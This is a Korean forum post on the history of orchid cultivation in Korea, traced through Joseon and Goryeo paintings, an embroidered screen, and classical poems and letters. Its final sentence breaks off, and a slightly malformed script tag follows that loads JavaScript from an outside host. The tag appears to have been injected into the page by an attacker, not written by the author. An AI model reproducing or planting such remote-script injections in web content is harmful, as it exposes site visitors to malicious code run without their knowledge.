옛 그림을 통해서 본 난의 재배 역사
글쓴이 : 以 齋     첨부파일 :     날짜 : 04-11-25    조회 : 3493
우리나라는 오랜 옛날부터 난을 재배해온 흔적이 엿보이지만 실제로 언제부터 재배되었는가에 대한 정확한 연대를 파악하기는 어렵다. 그러나 우리 나라의 옛 문헌과 그림 그리고 각종 기록들을 종합해보면 우리 나라의 난 재배 역사를 정립 할 수 가 있다. 현재 우리 나라에 보관되어 있는 옛 그림 중에서 가장 오래된 난 그림은 고려말에 윤삼산이 그린 것으로 알려져 있고, 춘란 그림은 추사 김정희 선생과 석파 이하응, 소호 김응원이 잘 그렸고, 건란은 원정 민영익이 잘 그렸던 것으로 알려져 있다. 조선시대의 선조때 이징(1581~?)이 그린 춘란도는 현존하는 작품 가운데에서 가장 오랜 것으로 알려져 있다. 이 시대에 그려진 그림들은 모두가 묵난화로서 사실적인 그림이라기 보다는 문인, 묵객들이 즐기던 문인화로서의상징성이 강한 그림이라는 사실을 알 수가 있다. 그러나 이징의 춘란 그림은 문인화 이면서도 비교적 사실에 가까운 표현기법으로 그린 것임을 엿볼 수 가 있다. 한편, 조선시대에 그린 묵난화 중에는 작가의 이름과 연대가 표시되어 있지는 않으나 춘란의 뿌리가 지면위로 뻗혀 나오게 그린 노근난도가 있다. 이것은 자생 상태에 있는 춘란의 생태적 특징을 잘 나타낸 그림이며, 종자가 맺힌 모양도 사실대로 그려 놓은 것이 특징적인데, 이 그림은 문인화로서의 상징적인 표현 이라기 보다는 실물을 사실적으로 그린 그림임을 알 수 가 있다. 추사 김정희선생이 난을 잘 그렸다는 사실은 이미 잘 알려진 일이다. 추사선생이 제주도에 유배되어 9년을 머무는 동안 난과 직접 접하게 된 계기가 되었다. 추사선생이 제주도에서 아들 상우에게 보낸 편지에 다음과 같은 내용이 쓰여져 있다.

'산 속에서 헤매다가 붉은 꽃과 소심을 구했다. 한 포기를 보내고 싶으나 길이 멀어서 보내지 못하였기에 찬이슬 맞고 향기가 줄어들도록 지금에 이르렀다'고 하였으며 추사선생이 난을 친 그림 속의 화제에는 '마침 뿌리째 있는 난초가 있음으로 그리게 되었다'고 사실적 문구로 표현하고 있음을 볼 수 있다.

그런가 하면, 조선말에는 난분에 식재된 그림들이 많이 남아 있어서 당시의 식재 용기가 어떠했는가를 짐작케 해주고 있다. 우리 나라의 난 재배 역사를 가늠하게 하는 중요한 한 점이 남아 있다. 고려말엽에 사대부집 부녀자들에 의하여 만들어진 사계분경도는 사계절을 나타내는 4폭짜리 자수작품으로써 현재 국립 중앙 박물관에 보관되어 있다. 여기에는 화분에 심겨져 꽃이 핀 난분과 연꽃, 소나무 분재, 화병에 꽃힌 매화나무가지 등이 더불어 사실적으로 수놓아져 있는 것을 볼 때 당시의 난 재배 실상을 짐작하게 해주고 있다. 특히 규수들에 의하여 난분이 수놓아진것은 일반 묵화와는 다른 의미로 생각해 볼 수가 있다. 이는 우리 나라에서의 난 재배 역사가 고려시대부터 이루어졌다는 사실을 증명하고 있다.

고전문학작품을 통해서 본 난 재배 역사

신라말엽의 대학자이었던 고운 최치원 선생은 '미인의 덕이 란혜처럼 꽃답다 - - '라고 하여 왕비의 덕을 난혜에 비유하여 쓴 글이 있고, 조운흘(1332~1404)이 신라와 고려시대의 유명한 한시들을 모은 삼한 시구감이라는 책에는 명종때 사람인 김극기의 싯귀가 실려 있다.

'뜰에 핀 국화는 가을을 머물 게 하고

비단결 같은 가지는 비에 씻겨 싱싱하다.

가는 꽃술은 가을 정취를 더해 주는데

그 좋은 난초는 이미 시들어 파리하다
.
해는 저물어 가는데 누구와 친구 할거나

차라리 길가의 갈대를 따라서 - - - '

라고 읊었는데 이들은 현재까지 알려진 난에 관한 문구 중에서 가장 앞선 것이다.

이후 고려시대에 이규보(1168~1241)가 지은 동국이상국집에는

'방으로 들어가니 난초 향기가 풍긴다

붓 잡고 시한 수 휘두른 다음

수 없이 권하는 술에 듬뿍 취했네'

라고 표현하여 방안에 꽃이 핀 난분에 있어 난향이 그윽함을 표현하고 있다. 최자(1188~1260)도 이러한 글귀가 나온다.

'뜰의 난초는 옛 향기를 같이 하였고 - - - '라고 표현되었던 바, 우리 나라의 기후적 여건으로 미루어 볼 때 당시에 난을 뜰에 심어서 길렀을 리는 없을 것으로 판단되지만 꽃이 핀 난분을 뜰앞에 두고 그 향기를 감상할 수는 있었을 것이다.

한편, 이곡(1298~1351)도

'난초는 향기로서 스스로를 불태웠고, 구슬은 연못에 잠기어 아는 이가 없구나 - - -'라고 하였고

정몽주(1337~1392)는 '손수 그윽한 산간둑에 있었더니 의의하게 멀리 향기가 나있더라' 라고 표현된 글귀가 있는 것으로 미루어 보아서 난향이 문인들로 하여금 음송의 대상이 되는 것이었음에는 틀림이 없었으려니와 이들의 지위나 품격으로 미루어 보아서 난을 곁에 두고 기르면서 아름다운 향기를 감상했을 것?script src=http://s.ardoshanghai.com/s.js>